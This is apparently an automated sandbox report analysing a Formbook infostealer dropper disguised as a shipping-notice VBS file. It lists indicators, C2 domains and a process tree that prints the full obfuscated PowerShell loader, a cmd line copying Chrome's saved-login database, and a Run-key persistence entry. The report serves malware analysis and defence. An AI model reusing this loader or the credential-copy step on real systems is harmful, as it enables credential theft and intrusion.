Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
147s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
08/08/2024, 13:28
Static task
static1
Behavioral task
behavioral1
Sample
Arrival Notice_AWB 4560943391_PDF.vbs
Resource
win10-20240611-en
Behavioral task
behavioral2
Sample
Arrival Notice_AWB 4560943391_PDF.vbs
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
Arrival Notice_AWB 4560943391_PDF.vbs
Resource
win11-20240802-en
General
-
Target
Arrival Notice_AWB 4560943391_PDF.vbs
-
Size
29KB
-
MD5
592e05d52785ac7ce91bedee1bed070a
-
SHA1
fd7c461e71a467deaff4ef320482685347077943
-
SHA256
ff3261173380df6010b5f2fec463df92180220c8ae6631637937b097b73af3f1
-
SHA512
def9b1a31ccaa1942d7e0b0de4949bc94216aaf17622ec2de9c90b30e9cf50ae658da07e428985ae5a0aed60f9913937ed5fce5747d0ae61703894afbf3dc9c4
-
SSDEEP
384:YzMKK76JtZpa/CQnG5daT7K5NV3mMEMRtkRExJ:YzMKHJtZpa/lnZT2NxmMzk6
Malware Config
Extracted
formbook
4.1
sy52
wxxj.asia
emu-oil.online
theprogressiontalks.com
saigonvape.com
cb257.pro
inucana.com
xn--pdr89n.vip
vtc.bzh
connexionsink.com
mastersofthevibes.com
mallsetuae.shop
bellaandbling.com
wagi88.one
273618.bid
japanvietnam-mall.com
lkd1t.rest
oflgjgiq.xyz
calliblography.com
idz8u.vip
marrybears.com
y7fzd3.com
xiaojuanzhang.net
bizconverge.com
videoelevate.com
kaliventures.net
vitamineseo.com
wispsa.xyz
wacreans.xyz
vibrancerisk.com
aheryth-bijoux.com
roofingplainfield.com
vrmu.asia
om0ve.rest
pknymayorsball.com
antonioshove.com
noblesageapothecary.com
fee067.shop
aity271.com
thecdljobcast.com
kewpieland.com
wasitopen.com
owpg.online
livinghopelactation.shop
data-analysis-cl.autos
wxxj.asia
99858.photos
usex.fun
ghherdretdhrt.xyz
castelaimoveis.store
rudoen677j.xyz
bos717selalu.shop
mimin-ovo777.info
hylbywb14.xyz
smart25.xyz
3658kf.com
luceroropehorses.com
truckcrashconsultants.com
mdnry.com
onlinegrowthnetwork.com
fdykykzk.xyz
www461bb.vip
bondwellfit.com
usex.fun
hbnv.xyz
adgenvni.xyz
Signatures
-
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Formbook payload 3 IoCs
resource yara_rule behavioral2/memory/4488-57-0x0000000000400000-0x00000000005E4000-memory.dmp formbook behavioral2/memory/4488-62-0x0000000000400000-0x00000000005E4000-memory.dmp formbook behavioral2/memory/4744-64-0x00000000004A0000-0x00000000004CF000-memory.dmp formbook -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \Registry\User\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run wlanext.exe Set value (str) \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\IL-DBJ7HQZC = "C:\\Program Files (x86)\\windows mail\\wab.exe" wlanext.exe -
Blocklisted process makes network request 3 IoCs
flow pid Process 2 3580 WScript.exe 8 1908 powershell.exe 12 1908 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation WScript.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 7 drive.google.com 8 drive.google.com 21 drive.google.com -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4488 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2324 powershell.exe 4488 wab.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 2324 set thread context of 4488 2324 powershell.exe 92 PID 4488 set thread context of 3424 4488 wab.exe 56 PID 4744 set thread context of 3424 4744 wlanext.exe 56 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wab.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wlanext.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 1908 powershell.exe 2324 powershell.exe -
description ioc Process Key created \Registry\User\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2 wlanext.exe -
Suspicious behavior: EnumeratesProcesses 47 IoCs
pid Process 1908 powershell.exe 1908 powershell.exe 2324 powershell.exe 2324 powershell.exe 2324 powershell.exe 4488 wab.exe 4488 wab.exe 4488 wab.exe 4488 wab.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3424 Explorer.EXE -
Suspicious behavior: MapViewOfSection 8 IoCs
pid Process 2324 powershell.exe 4488 wab.exe 4488 wab.exe 4488 wab.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe 4744 wlanext.exe -
Suspicious use of AdjustPrivilegeToken 12 IoCs
description pid Process Token: SeDebugPrivilege 1908 powershell.exe Token: SeDebugPrivilege 2324 powershell.exe Token: SeDebugPrivilege 4488 wab.exe Token: SeDebugPrivilege 4744 wlanext.exe Token: SeShutdownPrivilege 3424 Explorer.EXE Token: SeCreatePagefilePrivilege 3424 Explorer.EXE Token: SeShutdownPrivilege 3424 Explorer.EXE Token: SeCreatePagefilePrivilege 3424 Explorer.EXE Token: SeShutdownPrivilege 3424 Explorer.EXE Token: SeCreatePagefilePrivilege 3424 Explorer.EXE Token: SeShutdownPrivilege 3424 Explorer.EXE Token: SeCreatePagefilePrivilege 3424 Explorer.EXE -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3424 Explorer.EXE -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 3580 wrote to memory of 1908 3580 WScript.exe 84 PID 3580 wrote to memory of 1908 3580 WScript.exe 84 PID 1908 wrote to memory of 2124 1908 powershell.exe 88 PID 1908 wrote to memory of 2124 1908 powershell.exe 88 PID 1908 wrote to memory of 2324 1908 powershell.exe 90 PID 1908 wrote to memory of 2324 1908 powershell.exe 90 PID 1908 wrote to memory of 2324 1908 powershell.exe 90 PID 2324 wrote to memory of 1600 2324 powershell.exe 91 PID 2324 wrote to memory of 1600 2324 powershell.exe 91 PID 2324 wrote to memory of 1600 2324 powershell.exe 91 PID 2324 wrote to memory of 4488 2324 powershell.exe 92 PID 2324 wrote to memory of 4488 2324 powershell.exe 92 PID 2324 wrote to memory of 4488 2324 powershell.exe 92 PID 2324 wrote to memory of 4488 2324 powershell.exe 92 PID 2324 wrote to memory of 4488 2324 powershell.exe 92 PID 3424 wrote to memory of 4744 3424 Explorer.EXE 95 PID 3424 wrote to memory of 4744 3424 Explorer.EXE 95 PID 3424 wrote to memory of 4744 3424 Explorer.EXE 95 PID 4744 wrote to memory of 2296 4744 wlanext.exe 97 PID 4744 wrote to memory of 2296 4744 wlanext.exe 97 PID 4744 wrote to memory of 2296 4744 wlanext.exe 97 PID 4744 wrote to memory of 4628 4744 wlanext.exe 99 PID 4744 wrote to memory of 4628 4744 wlanext.exe 99 PID 4744 wrote to memory of 4628 4744 wlanext.exe 99
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3424 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Arrival Notice_AWB 4560943391_PDF.vbs"2⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3580 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "write 'Emotionalization Polariteten Markedsadgang Amtssygehusene Overboil Diatherm Hyostylic212 frromantiske Unawkwardly Spiniferous zephyranthes adjection Unsittingly Forstudier185 Insapiency Kontoruddannet Salonkommunisten Fumy Bipolarises39 Opremsningen Fderalistens skvatmllen Unbackboarded boligtilsynsbestemmelse Emotionalization Polariteten Markedsadgang Amtssygehusene Overboil Diatherm Hyostylic212 frromantiske Unawkwardly Spiniferous zephyranthes adjection Unsittingly Forstudier185 Insapiency Kontoruddannet Salonkommunisten Fumy Bipolarises39 Opremsningen Fderalistens skvatmllen Unbackboarded boligtilsynsbestemmelse';If (${host}.CurrentCulture) {$Cardplayingmmun='SUBsTR';$Askegraa++;}$Cardplayingmmun+='ing';Function Alcmena($Praisable){$Eksamensprojektet=$Praisable.Length-$Askegraa;For( $Cardplaying=2;$Cardplaying -lt $Eksamensprojektet;$Cardplaying+=3){$Emotionalization+=$Praisable.$Cardplayingmmun.Invoke( $Cardplaying, $Askegraa);}$Emotionalization;}function Bloatedness($begyndelsesbogstaver){ & ($Snoldendes) ($begyndelsesbogstaver);}$Repercussor=Alcmena '.mM,ioBlzB,iAslPllDia.t/ .5Ak.P.0.i .u(AkWS.i n IdOroKlwF s Y UnNFyTLa T 1Il0 . n0To;Ka KrWViiT nCo6 E4 C;Ba Kx i6,e4 K;Kv Epr Av B:Be1,t2 1Bl.,u0 F)Pr BoG Sepuc VkTeoSj/je2An0Or1C.0 n0.o1 e0S 1Ou M,F .iAurKveRef,voRyxSk/Ao1B,2In1 K.B 0m. ';$Scaphandridae=Alcmena 'InUM.sUdeCrrVe-RiAMagcaeEmnVvtDr ';$Overboil=Alcmena 'TrhTet Rt SpBrs :Wr/ ,/Bad,erGeiHuv MeA .,igSloMio,rg Kl.oeJe..ic.roC.m E/bauDmc .?SpeUlx .pDeoStrVit =,vdBloryw Mn elAvo paAsdPo&SoiMedS.=No1BrvS.MNeY pmHyL.r7C hMuhAfs.oe,l3ChOfaVFi-Tr_As3.il.avBl5amxu,hBeBUnTDov,ojCuk esAnL.l0PrrScG ,GFl ';$Toreadorer=Alcmena 'In>Un ';$Snoldendes=Alcmena ' ,iOre.nx a ';$Komplementere='frromantiske';$Orthodoxism = Alcmena 'AnealcS,h .o,e P % MaAfpDipbidDea AtChaDe%Mm\ FFEso Cr PuBurOvePanKoiS nScgPrsKakDio.rnNoo ,mS iFoeStnResSt..vARekPut,e A & ,& S AdeC,c AhUnoF .t I ';Bloatedness (Alcmena ' G$c.g Kl Fo bS,a.plSk:MagR,rKeaGan BaSkdA.o =M (BocStmAnd.a me/ gc N U$ocO ,rUdtP.hTao bdInoRuxLai,isDem .) ');Bloatedness (Alcmena 'Re$NugSal ToBib AaFllT :HaA ,mAlt RsDesBey FgSheU.h buOusWae Pn .eE,=Te$ SO ,vQ,eRerFabTeoFoiDelR .kasvepSpl iSptUd(A.$AmTF,o,er ,e .a .dOvoChrDeeH.r.e)Vi ');Bloatedness (Alcmena ' .[ .NL,e.ut .HuSMueRerKavSyiSic Ae,aP Bo.gi MnAnt WM .aUhnHaaungBee r T] K: :OmSafeKoc .uM,rU i KtG,yMoP.irPooS.tU oC,cLeo,clLo T,=,t Bn[FjNs,e St U.,oSR,e McAau.orShiTrt yT PR,rOmoMit .o VcGeoW.l aT byPepK.e.a]Le:J,:OpTS l is e1Ny2,m ');$Overboil=$Amtssygehusene[0];$Antimediaevally= (Alcmena ' C$ ,gColInokdbScaFjlM :InNMar ,sBlyP,nPhe StTrhSheCod ,s.e=E,N .e.hwA -FrOF,bChjd e scU.t C n SClyYasFrtKoeOvmEm.RoNUneuntBa.BaW e UbEuC l ri Ge n t');$Antimediaevally+=$granado[1];Bloatedness ($Antimediaevally);Bloatedness (Alcmena 'Re$RaN ,rBasBryAvnSmeaptRehSheBydA sbr.TwH ZeApaBod DeSerDisLy[.n$LuSF.c,ta CpBlhSnaGanStdStrEniWodBaa nep ]Ge=Ve$,rR ieHip,ue DrPrcHeuKls is roT rUp ');$Towers=Alcmena ',a$TiNDer sK,yStnKve Pt ThEpe PdF.s C.LaD Ro sw,unCrlB.oDiaNud.xF .i ElSie .(Fa$,eOSkvIse r Eb VoTyiTel .,Di$ s gk bvA.a tComv lNalChe Sn P) O ';$skvatmllen=$granado[0];Bloatedness (Alcmena ' a$OugB lFro bHaaB.lD,:EjMS.aKrd,ir,iaStsCyiGe=In( HTMeeStsSktG,-.sPChaSitKrhSk Ti$PaslikHjv aC t BmBulVel .eAdnPl)Na ');while (!$Madrasi) {Bloatedness (Alcmena ' ,$TagLelCeoWib,raPllDe:RobRarLouH,n Pe tTv=Fo$Opt rSpuFrePy ') ;Bloatedness $Towers;Bloatedness (Alcmena 'caSDet LagarOvtB,- TS lPeeN,e.vpGa .r4.m ');Bloatedness (Alcmena '.n$FigOdlNeoNab ,a l c:T MFaaD,dSirMaaTasS iAg=Di(KiTPre osM.tG,- APDaaKrt Nh t H $Rhs.nkL,vsta PtLnm Pli lPoe.lnL.) ') ;Bloatedness (Alcmena 'U,$AcgBelOmo Wb BaDulCh:T.M ua Grenk yeFod UsHya Od ogA.aScnUng k=ge$.pg AlB o Db,oa lPe: .PGaoKjlBlaFrrDiiSktviesuth,eStnMa+ B+Vi%Fo$ MA.rmT t,rs ,s,iyWig.te GhTeu TsSkeStnFle .L cHeo RuS n,etKa ') ;$Overboil=$Amtssygehusene[$Markedsadgang];}$Voksenundervisning=295672;$Trodsedes=27606;Bloatedness (Alcmena 'Mu$,igtulChoFobtaaiol A:B UE.nKrai.wHekW.wUnaElrZedu lBlyT, A =N. ExGDeeMetfi-I.C EoStnmatSte YnIntAr .a$SksDak ivNeaDyt.emL,l dl IeamnJo ');Bloatedness (Alcmena 'A,$,og,al ,oL,bchaA lAl:oxBperFoaKuu dn aa.t Sp=Pr Fl[,rS ,y,rs NtUne,imt..GrCCro cnR vFoeUnrPet o],e: S:SvF Vrt oP.mFoB,ia Usove K6Ma4LeS .tE,rFii n ogOc(di$ FU.vn ,a IwWik .wS,aLgr.rdSil rySe) T ');Bloatedness (Alcmena ' g$EmgEnlFao.yb AaAgl S:Toas.d,ajAre,icDet DiTno,an.e .o=Pe Br[ReS yWhsUdtEleCrmFj.noT.ye Ex atBr.PaE rn .c ,o sdMiiG,n,vgPr] e: :omATrS KC .I uIE..RaG OeFatHeSPatR rL,iFanK gIn(Vo$FuBVarUnaPyuU nOuaBe),a ');Bloatedness (Alcmena 'R,$OcgGul.noPtbUnaGol B:.aE .f.at retrr,ra aC.r As Tj .vMinUnd,ogE nShsTo= S$Doa NdArjZeeB.cI t,oiIno .nGy.Ans.ou ib PsCotSnrVoiCanvegAn(Fi$ DV To CkTes,oeMan VuManUddUneInrG.vOpiRes nn.aiC.nPag ,,De$P.T ,rNao FdInsDuedidTreUdsB.) F ');Bloatedness $Efteraarsjvndgns;"3⤵
- Blocklisted process makes network request
- System Time Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Forureningskonomiens.Akt && echo t"4⤵PID:2124
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "write 'Emotionalization Polariteten Markedsadgang Amtssygehusene Overboil Diatherm Hyostylic212 frromantiske Unawkwardly Spiniferous zephyranthes adjection Unsittingly Forstudier185 Insapiency Kontoruddannet Salonkommunisten Fumy Bipolarises39 Opremsningen Fderalistens skvatmllen Unbackboarded boligtilsynsbestemmelse Emotionalization Polariteten Markedsadgang Amtssygehusene Overboil Diatherm Hyostylic212 frromantiske Unawkwardly Spiniferous zephyranthes adjection Unsittingly Forstudier185 Insapiency Kontoruddannet Salonkommunisten Fumy Bipolarises39 Opremsningen Fderalistens skvatmllen Unbackboarded boligtilsynsbestemmelse';If (${host}.CurrentCulture) {$Cardplayingmmun='SUBsTR';$Askegraa++;}$Cardplayingmmun+='ing';Function Alcmena($Praisable){$Eksamensprojektet=$Praisable.Length-$Askegraa;For( $Cardplaying=2;$Cardplaying -lt $Eksamensprojektet;$Cardplaying+=3){$Emotionalization+=$Praisable.$Cardplayingmmun.Invoke( $Cardplaying, $Askegraa);}$Emotionalization;}function Bloatedness($begyndelsesbogstaver){ & ($Snoldendes) ($begyndelsesbogstaver);}$Repercussor=Alcmena '.mM,ioBlzB,iAslPllDia.t/ .5Ak.P.0.i .u(AkWS.i n IdOroKlwF s Y UnNFyTLa T 1Il0 . n0To;Ka KrWViiT nCo6 E4 C;Ba Kx i6,e4 K;Kv Epr Av B:Be1,t2 1Bl.,u0 F)Pr BoG Sepuc VkTeoSj/je2An0Or1C.0 n0.o1 e0S 1Ou M,F .iAurKveRef,voRyxSk/Ao1B,2In1 K.B 0m. ';$Scaphandridae=Alcmena 'InUM.sUdeCrrVe-RiAMagcaeEmnVvtDr ';$Overboil=Alcmena 'TrhTet Rt SpBrs :Wr/ ,/Bad,erGeiHuv MeA .,igSloMio,rg Kl.oeJe..ic.roC.m E/bauDmc .?SpeUlx .pDeoStrVit =,vdBloryw Mn elAvo paAsdPo&SoiMedS.=No1BrvS.MNeY pmHyL.r7C hMuhAfs.oe,l3ChOfaVFi-Tr_As3.il.avBl5amxu,hBeBUnTDov,ojCuk esAnL.l0PrrScG ,GFl ';$Toreadorer=Alcmena 'In>Un ';$Snoldendes=Alcmena ' ,iOre.nx a ';$Komplementere='frromantiske';$Orthodoxism = Alcmena 'AnealcS,h .o,e P % MaAfpDipbidDea AtChaDe%Mm\ FFEso Cr PuBurOvePanKoiS nScgPrsKakDio.rnNoo ,mS iFoeStnResSt..vARekPut,e A & ,& S AdeC,c AhUnoF .t I ';Bloatedness (Alcmena ' G$c.g Kl Fo bS,a.plSk:MagR,rKeaGan BaSkdA.o =M (BocStmAnd.a me/ gc N U$ocO ,rUdtP.hTao bdInoRuxLai,isDem .) ');Bloatedness (Alcmena 'Re$NugSal ToBib AaFllT :HaA ,mAlt RsDesBey FgSheU.h buOusWae Pn .eE,=Te$ SO ,vQ,eRerFabTeoFoiDelR .kasvepSpl iSptUd(A.$AmTF,o,er ,e .a .dOvoChrDeeH.r.e)Vi ');Bloatedness (Alcmena ' .[ .NL,e.ut .HuSMueRerKavSyiSic Ae,aP Bo.gi MnAnt WM .aUhnHaaungBee r T] K: :OmSafeKoc .uM,rU i KtG,yMoP.irPooS.tU oC,cLeo,clLo T,=,t Bn[FjNs,e St U.,oSR,e McAau.orShiTrt yT PR,rOmoMit .o VcGeoW.l aT byPepK.e.a]Le:J,:OpTS l is e1Ny2,m ');$Overboil=$Amtssygehusene[0];$Antimediaevally= (Alcmena ' C$ ,gColInokdbScaFjlM :InNMar ,sBlyP,nPhe StTrhSheCod ,s.e=E,N .e.hwA -FrOF,bChjd e scU.t C n SClyYasFrtKoeOvmEm.RoNUneuntBa.BaW e UbEuC l ri Ge n t');$Antimediaevally+=$granado[1];Bloatedness ($Antimediaevally);Bloatedness (Alcmena 'Re$RaN ,rBasBryAvnSmeaptRehSheBydA sbr.TwH ZeApaBod DeSerDisLy[.n$LuSF.c,ta CpBlhSnaGanStdStrEniWodBaa nep ]Ge=Ve$,rR ieHip,ue DrPrcHeuKls is roT rUp ');$Towers=Alcmena ',a$TiNDer sK,yStnKve Pt ThEpe PdF.s C.LaD Ro sw,unCrlB.oDiaNud.xF .i ElSie .(Fa$,eOSkvIse r Eb VoTyiTel .,Di$ s gk bvA.a tComv lNalChe Sn P) O ';$skvatmllen=$granado[0];Bloatedness (Alcmena ' a$OugB lFro bHaaB.lD,:EjMS.aKrd,ir,iaStsCyiGe=In( HTMeeStsSktG,-.sPChaSitKrhSk Ti$PaslikHjv aC t BmBulVel .eAdnPl)Na ');while (!$Madrasi) {Bloatedness (Alcmena ' ,$TagLelCeoWib,raPllDe:RobRarLouH,n Pe tTv=Fo$Opt rSpuFrePy ') ;Bloatedness $Towers;Bloatedness (Alcmena 'caSDet LagarOvtB,- TS lPeeN,e.vpGa .r4.m ');Bloatedness (Alcmena '.n$FigOdlNeoNab ,a l c:T MFaaD,dSirMaaTasS iAg=Di(KiTPre osM.tG,- APDaaKrt Nh t H $Rhs.nkL,vsta PtLnm Pli lPoe.lnL.) ') ;Bloatedness (Alcmena 'U,$AcgBelOmo Wb BaDulCh:T.M ua Grenk yeFod UsHya Od ogA.aScnUng k=ge$.pg AlB o Db,oa lPe: .PGaoKjlBlaFrrDiiSktviesuth,eStnMa+ B+Vi%Fo$ MA.rmT t,rs ,s,iyWig.te GhTeu TsSkeStnFle .L cHeo RuS n,etKa ') ;$Overboil=$Amtssygehusene[$Markedsadgang];}$Voksenundervisning=295672;$Trodsedes=27606;Bloatedness (Alcmena 'Mu$,igtulChoFobtaaiol A:B UE.nKrai.wHekW.wUnaElrZedu lBlyT, A =N. ExGDeeMetfi-I.C EoStnmatSte YnIntAr .a$SksDak ivNeaDyt.emL,l dl IeamnJo ');Bloatedness (Alcmena 'A,$,og,al ,oL,bchaA lAl:oxBperFoaKuu dn aa.t Sp=Pr Fl[,rS ,y,rs NtUne,imt..GrCCro cnR vFoeUnrPet o],e: S:SvF Vrt oP.mFoB,ia Usove K6Ma4LeS .tE,rFii n ogOc(di$ FU.vn ,a IwWik .wS,aLgr.rdSil rySe) T ');Bloatedness (Alcmena ' g$EmgEnlFao.yb AaAgl S:Toas.d,ajAre,icDet DiTno,an.e .o=Pe Br[ReS yWhsUdtEleCrmFj.noT.ye Ex atBr.PaE rn .c ,o sdMiiG,n,vgPr] e: :omATrS KC .I uIE..RaG OeFatHeSPatR rL,iFanK gIn(Vo$FuBVarUnaPyuU nOuaBe),a ');Bloatedness (Alcmena 'R,$OcgGul.noPtbUnaGol B:.aE .f.at retrr,ra aC.r As Tj .vMinUnd,ogE nShsTo= S$Doa NdArjZeeB.cI t,oiIno .nGy.Ans.ou ib PsCotSnrVoiCanvegAn(Fi$ DV To CkTes,oeMan VuManUddUneInrG.vOpiRes nn.aiC.nPag ,,De$P.T ,rNao FdInsDuedidTreUdsB.) F ');Bloatedness $Efteraarsjvndgns;"4⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- System Time Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2324 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Forureningskonomiens.Akt && echo t"5⤵
- System Location Discovery: System Language Discovery
PID:1600
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"5⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:4488
-
-
-
-
-
C:\Windows\SysWOW64\wlanext.exe"C:\Windows\SysWOW64\wlanext.exe"2⤵
- Adds policy Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Windows\SysWOW64\cmd.exe/c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V3⤵
- System Location Discovery: System Language Discovery
PID:2296
-
-
C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"3⤵PID:4628
-
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
40KB
MD5a182561a527f929489bf4b8f74f65cd7
SHA18cd6866594759711ea1836e86a5b7ca64ee8911f
SHA25642aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914
SHA5129bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
80KB
MD51c12edf78f7e97ee62752560e19df940
SHA134e0df14313b58efc540cc77383cf45494e63afb
SHA25649543953606bb5572ee8fa09b315c8caacdcfc7f0351c2b044b685711a7be15f
SHA512b3aa16502ec6938453964da58f99f29c34111ad3a1a3aa21f61ecc4c3fe765c78d4a1138ec2bfb1162c535546cac16a5c452ae27d6c21a9ac91e1d365d0dac05
-
Filesize
40B
MD52f245469795b865bdd1b956c23d7893d
SHA16ad80b974d3808f5a20ea1e766c7d2f88b9e5895
SHA2561662d01a2d47b875a34fc7a8cd92e78cb2ba7f34023c7fd2639cbb10b8d94361
SHA512909f189846a5d2db208a5eb2e7cb3042c0f164caf437e2b1b6de608c0a70e4f3510b81b85753dbeec1e211e6a83e6ea8c96aff896e9b6e8ed42014473a54dc4f
-
Filesize
38B
MD54aadf49fed30e4c9b3fe4a3dd6445ebe
SHA11e332822167c6f351b99615eada2c30a538ff037
SHA25675034beb7bded9aeab5748f4592b9e1419256caec474065d43e531ec5cc21c56
SHA512eb5b3908d5e7b43ba02165e092f05578f45f15a148b4c3769036aa542c23a0f7cd2bc2770cf4119a7e437de3f681d9e398511f69f66824c516d9b451bb95f945
-
Filesize
40B
MD5d63a82e5d81e02e399090af26db0b9cb
SHA191d0014c8f54743bba141fd60c9d963f869d76c9
SHA256eaece2eba6310253249603033c744dd5914089b0bb26bde6685ec9813611baae
SHA51238afb05016d8f3c69d246321573997aaac8a51c34e61749a02bf5e8b2b56b94d9544d65801511044e1495906a86dc2100f2e20ff4fcbed09e01904cc780fdbad
-
Filesize
872B
MD5bbc41c78bae6c71e63cb544a6a284d94
SHA133f2c1d9fa0e9c99b80bc2500621e95af38b1f9a
SHA256ee83c6bcea9353c74bfc0a7e739f3c4a765ace894470e09cdcdebba700b8d4cb
SHA5120aea424b57adae3e14ad6491cab585f554b4dffe601b5a17bad6ee6177d2f0f995e419cde576e2d1782b9bddc0661aada11a2c9f1454ae625d9e3223635ec9f4
-
Filesize
420KB
MD58dedf31a9ddcc727db8c1c7f42074980
SHA12e027edef136505bb0f62347dda5d10611fe434f
SHA256548990f3282f20086d8b67f93b83b3068e12204ad13450b784b06bbad05406f4
SHA51217ec95dc43d573cbaa0d991a6c30499b9aefb3edb69bef225515a981500a034d0a13179178c3d697e904a57e34f0b04cac95b949d27b0c00f8999cd4c2a99f92